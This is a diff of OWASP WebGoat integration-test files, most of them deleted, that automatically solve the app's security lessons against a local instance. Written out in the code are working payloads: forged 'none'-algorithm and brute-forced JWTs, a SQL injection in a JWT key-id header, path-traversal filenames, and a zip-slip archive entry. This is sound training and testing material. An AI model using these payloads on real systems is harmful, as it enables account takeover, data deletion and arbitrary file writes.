-                    .cookie("JSESSIONID", getWebGoatCookie())
-                    .get(url("service/restartlesson.mvc"))
-                    .then()
-                    .statusCode(200);
-        }
-    }
-
-    public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .post(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(params)
-                        .put(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
-    public void checkResults(String prefix) {
-        checkResults();
-
-        MatcherAssert.assertThat(RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/lessonoverview.mvc"))
-                .then()
-                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
-
-    }
-
-    public void checkResults() {
-        var result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/lessonoverview.mvc"))
-                .andReturn();
-
-        MatcherAssert.assertThat(result.then()
-                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
-    }
-
-    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .contentType(contentType)
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .body(body)
-                        .post(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .queryParams(params)
-                        .get(url)
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-    }
-
-    public String getWebWolfFileServerLocation() {
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/file-server-location"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        return result;
-    }
-
-    public String webGoatServerDirectory() {
-        return RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/server-directory"))
-                .then()
-                .extract().response().getBody().asString();
-    }
-
-}
-

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -1,216 +0,0 @@
-package org.owasp.webgoat;
-
-import java.io.IOException;
-import java.nio.charset.Charset;
-import java.security.InvalidKeyException;
-import java.security.NoSuchAlgorithmException;
-import java.time.Instant;
-import java.util.Base64;
-import java.util.Calendar;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.Test;
-
-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.node.ObjectNode;
-
-import io.jsonwebtoken.Header;
-import io.jsonwebtoken.JwsHeader;
-import io.jsonwebtoken.Jwt;
-import io.jsonwebtoken.JwtException;
-import io.jsonwebtoken.Jwts;
-import io.jsonwebtoken.SignatureAlgorithm;
-import io.jsonwebtoken.impl.TextCodec;
-import io.restassured.RestAssured;
-import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
-
-public class JWTLessonIntegrationTest extends IntegrationTest {
-	
-    @Test
-    public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-    	startLesson("JWT");
-
-    	decodingToken();
-  
-        resetVotes();
-                
-        findPassword();
-        
-        buyAsTom();
-        
-        deleteTom();
-
-		quiz();
-        
-        checkResults("/JWT/");
-    }
-    
-    private String generateToken(String key) {
-    	
-    	return Jwts.builder()
-		.setIssuer("WebGoat Token Builder")
-		.setAudience("webgoat.org")
-		.setIssuedAt(Calendar.getInstance().getTime())
-		.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-		.setSubject("tom@webgoat.org")
-		.claim("username", "WebGoat")
-		.claim("Email", "tom@webgoat.org")
-		.claim("Role", new String[] {"Manager", "Project Administrator"})
-		.signWith(SignatureAlgorithm.HS256, key).compact();
-    }
-    
-    private String getSecretToken(String token) {
-    	for (String key : JWTSecretKeyEndpoint.SECRETS) {
-    		try {
-    			Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
-    		} catch (JwtException e) {
-    			continue;
-    		}
-    		return TextCodec.BASE64.encode(key);
-    	}
-    	return null;
-    }
-
-	private void decodingToken() {
-		MatcherAssert.assertThat(
-				RestAssured.given()
-						.when()
-						.relaxedHTTPSValidation()
-						.cookie("JSESSIONID", getWebGoatCookie())
-						.formParam("jwt-encode-user", "user")
-						.post(url("/WebGoat/JWT/decode"))
-						.then()
-						.statusCode(200)
-						.extract().path("lessonCompleted"), CoreMatchers.is(true));
-
-	}
-    
-    private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
-    	
-    	String accessToken = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/secret/gettoken"))
-                .then()
-                .extract().response().asString();
-    	
-    	String secret = getSecretToken(accessToken);
-    	
-    	MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParam("token", generateToken(secret))
-                        .post(url("/WebGoat/JWT/secret"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    	
-    }
-    
-    private void resetVotes() throws IOException {
-    	String accessToken = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/JWT/votings/login?user=Tom"))
-                .then()
-                .extract().cookie("access_token");
-
-        String header = accessToken.substring(0, accessToken.indexOf("."));
-        header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
-        
-        String body = accessToken.substring(1+accessToken.indexOf("."), accessToken.lastIndexOf("."));
-        body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
-
-        ObjectMapper mapper = new ObjectMapper();
-        JsonNode headerNode = mapper.readTree(header);
-        headerNode = ((ObjectNode) headerNode).put("alg","NONE");
-
-        JsonNode bodyObject = mapper.readTree(body);
-        bodyObject = ((ObjectNode) bodyObject).put("admin","true");
-        
-        String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
-        		.concat(".")
-        		.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString())
-        		.concat(".").replace("=", "");
-        
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .cookie("access_token", replacedToken)
-                        .post(url("/WebGoat/JWT/votings"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-    
-	private void buyAsTom() throws IOException {
-		
-		String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
-
-		String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset())));
-
-		body = body.replace("Jerry", "Tom");
-		
-		ObjectMapper mapper = new ObjectMapper();
-		JsonNode headerNode = mapper.readTree(header);
-		headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
-
-		String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".")
-				.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
-				.concat(".").replace("=", "");
-
-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie())
-				.header("Authorization","Bearer "+replacedToken)
-				.post(url("/WebGoat/JWT/refresh/checkout"))
-				.then().statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-	}
-	
-	private void deleteTom() {
-		
-		Map<String, Object> header = new HashMap();
-		  header.put(Header.TYPE, Header.JWT_TYPE);
-		  header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
-		String token = Jwts.builder()
-				.setHeader(header)
-				.setIssuer("WebGoat Token Builder")
-				.setAudience("webgoat.org")
-				.setIssuedAt(Calendar.getInstance().getTime())
-				.setExpiration(Date.from(Instant.now().plusSeconds(60)))
-				.setSubject("tom@webgoat.org")
-				.claim("username", "Tom")
-				.claim("Email", "tom@webgoat.org")
-				.claim("Role", new String[] {"Manager", "Project Administrator"})
-				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
-		
-		MatcherAssert.assertThat(RestAssured.given()
-				.when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie())
-				.post(url("/WebGoat/JWT/final/delete?token="+token))
-				.then()
-				.statusCode(200)
-				.extract().path("lessonCompleted"), CoreMatchers.is(true));
-	}
-
-	private void quiz() { 
-		Map<String, Object> params = new HashMap<>();
-		params.put("question_0_solution", "Solution 1");
-		params.put("question_1_solution", "Solution 2");
-
-		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
-	}
-    
-}

src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java

@@ -1,170 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import io.restassured.path.json.JsonPath;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.List;
-import java.util.Properties;
-
-public class LabelAndHintIntegrationTest extends IntegrationTest {
-
-    final static String ESCAPE_JSON_PATH_CHAR = "\'";
-
-    @Test
-    public void testSingleLabel() {
-        Assertions.assertTrue(true);
-        JsonPath jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
-
-        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR));
-
-        // check if lang parameter overrules Accept-Language parameter
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
-
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","en")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
-
-        // check if invalid language returns english
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","nl")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
-
-        // check if invalid language returns english
-        jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language","xx_YY")
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
-        Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR));
-
-    }
-
-    @Test
-    public void testHints() {
-        JsonPath jsonPathLabels = getLabels("en");
-        List<String> allLessons = List.of(
-                "HttpBasics",
-                "HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
-                "XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
-                "SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
-                "Challenge1");
-        for (String lesson: allLessons) {
-            startLesson(lesson);
-            List<String> hintKeys = getHints();
-            for (String key : hintKeys) {
-                String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-                //System.out.println("key: " + key + " ,value: " + keyValue);
-                Assertions.assertNotNull(keyValue);
-                Assertions.assertNotEquals(key, keyValue);
-            }
-        }
-        //Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
-    }
-
-    @Test
-    public void testLabels() {
-
-        JsonPath jsonPathLabels = getLabels("en");
-        Properties propsDefault = getProperties("");
-        for (String key: propsDefault.stringPropertyNames()) {
-            String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
-            Assertions.assertNotNull(keyValue);
-        }
-        checkLang(propsDefault,"nl");
-        checkLang(propsDefault,"de");
-        checkLang(propsDefault,"fr");
-        checkLang(propsDefault,"ru");
-
-    }
-
-    private Properties getProperties(String lang) {
-        Properties prop = null;
-        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
-        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
-
-            prop = new Properties();
-            // load a properties file
-            prop.load(input);
-        } catch (Exception e) {
-            e.printStackTrace();
-        }
-        return prop;
-    }
-
-    private void checkLang(Properties propsDefault, String lang) {
-        JsonPath jsonPath = getLabels(lang);
-        Properties propsLang = getProperties(lang);
-
-        for (String key: propsLang.stringPropertyNames()) {
-            if (!propsDefault.containsKey(key)) {
-                System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
-                Assertions.fail();
-            }
-            if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
-                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
-                System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
-                System.out.println("expected: "+propsLang.getProperty(key));
-                System.out.println();
-                Assertions.fail();
-            }
-        }
-    }
-
-    private JsonPath getLabels(String lang) {
-        return RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .header("Accept-Language",lang)
-                .cookie("JSESSIONID", getWebGoatCookie())
-                //.log().headers()
-                .get(url("service/labels.mvc"))
-                .then()
-                //.log().all()
-                .statusCode(200).extract().jsonPath();
-    }
-
-    private List<String> getHints() {
-        JsonPath jsonPath = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .contentType(ContentType.JSON)
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/hint.mvc"))
-                .then()
-                //.log().all()
-                .statusCode(200).extract().jsonPath();
-        return jsonPath.getList("hint");
-    }
-
-}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -1,118 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
-
-import org.apache.commons.lang3.StringUtils;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-import java.util.Arrays;
-import java.util.Map;
-
-public class PasswordResetLessonIntegrationTest extends IntegrationTest {
-
-	@BeforeEach
-    @SneakyThrows
-    public void init() {
-    	startLesson("/PasswordReset");
-    }
-	
-	@TestFactory
-    Iterable<DynamicTest> passwordResetLesson() {
-    	return Arrays.asList(
-    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
-    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
-    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
-    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
-    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
-    			);
-    }
-	public void assignment2() {
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
-	}
-	
-	public void assignment4() {
-        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
-    }
-	
-	public void assignment5() {
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
-        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
-    }
-
-	
-    public void solveAssignment() {
-        //WebGoat
-        clickForgotEmailLink("tom@webgoat-cloud.org");
-
-        //WebWolf
-        var link = getPasswordResetLinkFromLandingPage();
-
-        //WebGoat
-        changePassword(link);
-        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
-    }
-
-    public void sendEmailShouldBeAvailableInWebWolf() {
-    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
-
-        var responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
-
-        Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-    }
-    
-    @AfterEach
-    public void shutdown() {
-    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-    	checkResults("/PasswordReset");
-    }
-
-    private void changePassword(String link) {
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .formParams("resetLink", link, "password", "123456")
-                .post(url("PasswordReset/reset/change-password"))
-                .then()
-                .statusCode(200);
-    }
-
-    private String getPasswordResetLinkFromLandingPage() {
-        var responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
-        return link;
-    }
-
-    private void clickForgotEmailLink(String user) {
-        RestAssured.given()
-                .when()
-                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .formParams("email", user)
-                .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
-                .then()
-                .statusCode(200);
-    }
-}

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -1,137 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import lombok.SneakyThrows;
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.MatcherAssert;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.DynamicTest;
-import org.junit.jupiter.api.TestFactory;
-import org.junit.jupiter.api.io.TempDir;
-import org.springframework.security.core.token.Sha512DigestUtils;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Arrays;
-import java.util.Map;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
-
-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
-class PathTraversalIT extends IntegrationTest {
-
-    @TempDir
-    Path tempDir;
-
-    private File fileToUpload = null;
-
-    @BeforeEach
-    @SneakyThrows
-    public void init() {
-        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
-        startLesson("PathTraversal");
-    }
-
-    @TestFactory
-    Iterable<DynamicTest> testPathTraversal() {
-        return Arrays.asList(
-                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
-                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
-                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
-                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-                dynamicTest("assignment 5 - zip slip", () -> assignment5())
-        );
-    }
-
-    private void assignment1() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullName", "../John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment2() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .param("fullNameFix", "..././John Doe")
-                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment3() throws IOException {
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    private void assignment4() throws IOException {
-        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-        RestAssured.given().urlEncodingEnabled(false)
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url(uri))
-                .then()
-                .statusCode(200)
-                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
-
-        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
-                Sha512DigestUtils.shaHex(this.getUser())), true);
-    }
-
-    private void assignment5() throws IOException {
-        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
-
-        var webGoatDirectory = new File(webGoatHome);
-        var zipFile = new File(tempDir.toFile(), "upload.zip");
-        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
-            zos.putNextEntry(e);
-            zos.write("test".getBytes(StandardCharsets.UTF_8));
-        }
-        MatcherAssert.assertThat(
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-                        .post(url("/WebGoat/PathTraversal/zip-slip"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-    }
-
-    @AfterEach
-    void shutdown() {
-        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
-        checkResults("/PathTraversal");
-    }
-}

src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java

@@ -1,53 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.response.Response;
-
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
-
-    @Test
-    public void runTests() throws InterruptedException {
-    	int NUMBER_OF_CALLS = 40;
-    	int NUMBER_OF_PARALLEL_THREADS = 5;
-        startLesson("Challenge1");
-
-        Callable<Response> call = () -> {
-        		//System.out.println("thread "+Thread.currentThread().getName());
-                return RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .formParams(Map.of("flag", "test"))
-                        .post(url("/challenge/flag/"));
-
-        };
-        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
-        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
-        var responses = executorService.invokeAll(flagCalls);
-
-        //A certain amount of parallel calls should fail as optimistic locking in DB is applied
-        long countStatusCode500 = responses.stream().filter(r -> {
-            try {
-            	//System.err.println(r.get().getStatusCode());
-                return r.get().getStatusCode() != 200;
-            } catch (InterruptedException | ExecutionException e) {
-            	//System.err.println(e);
-                throw new IllegalStateException(e);
-            }
-        }).count();
-        System.err.println("counted status 500: "+countStatusCode500);
-        Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
-    }
-}

src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java

@@ -1,30 +0,0 @@
-package org.owasp.webgoat;
-
-import java.io.IOException;
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
-public class SSRFIntegrationTest extends IntegrationTest {
-    
-    @Test
-    public void runTests() throws IOException {
-        startLesson("SSRF");
-        
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("url", "images/jerry.png");
-        
-        checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
-        params.clear();
-        params.put("url", "http://ifconfig.pro");
-        
-        checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
-        
-        checkResults("/SSRF/");
-    
-    }
-    
-    
-}

src/it/java/org/owasp/webgoat/ServerUrlConfig.java

@@ -0,0 +1,40 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat;
+
+public record ServerUrlConfig(String host, String port, String contextPath) {
+
+  public ServerUrlConfig {
+    contextPath = contextPath.replaceAll("/", "");
+  }
+
+  public String getBaseUrl() {
+    return "http://%s:%s".formatted(host, port);
+  }
+
+  public String url(String path) {
+    return "%s/%s".formatted(getFullUrl(), path);
+  }
+
+  private String getFullUrl() {
+    return "http://%s:%s/%s".formatted(host, port, contextPath);
+  }
+
+  public static ServerUrlConfig webGoat() {
+    return new ServerUrlConfig(
+        "localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
+  }
+
+  public static ServerUrlConfig webWolf() {
+    return new ServerUrlConfig(
+        "localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
+  }
+
+  private static String env(String variableName, String defaultValue) {
+    return System.getenv().getOrDefault(variableName, "").isEmpty()
+        ? defaultValue
+        : System.getenv(variableName);
+  }
+}

src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java

@@ -1,47 +0,0 @@
-/*
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
- *
- * Copyright (c) 2002 - 2021 Bruce Mayhew
- *
- * This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- * General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License along with this program; if
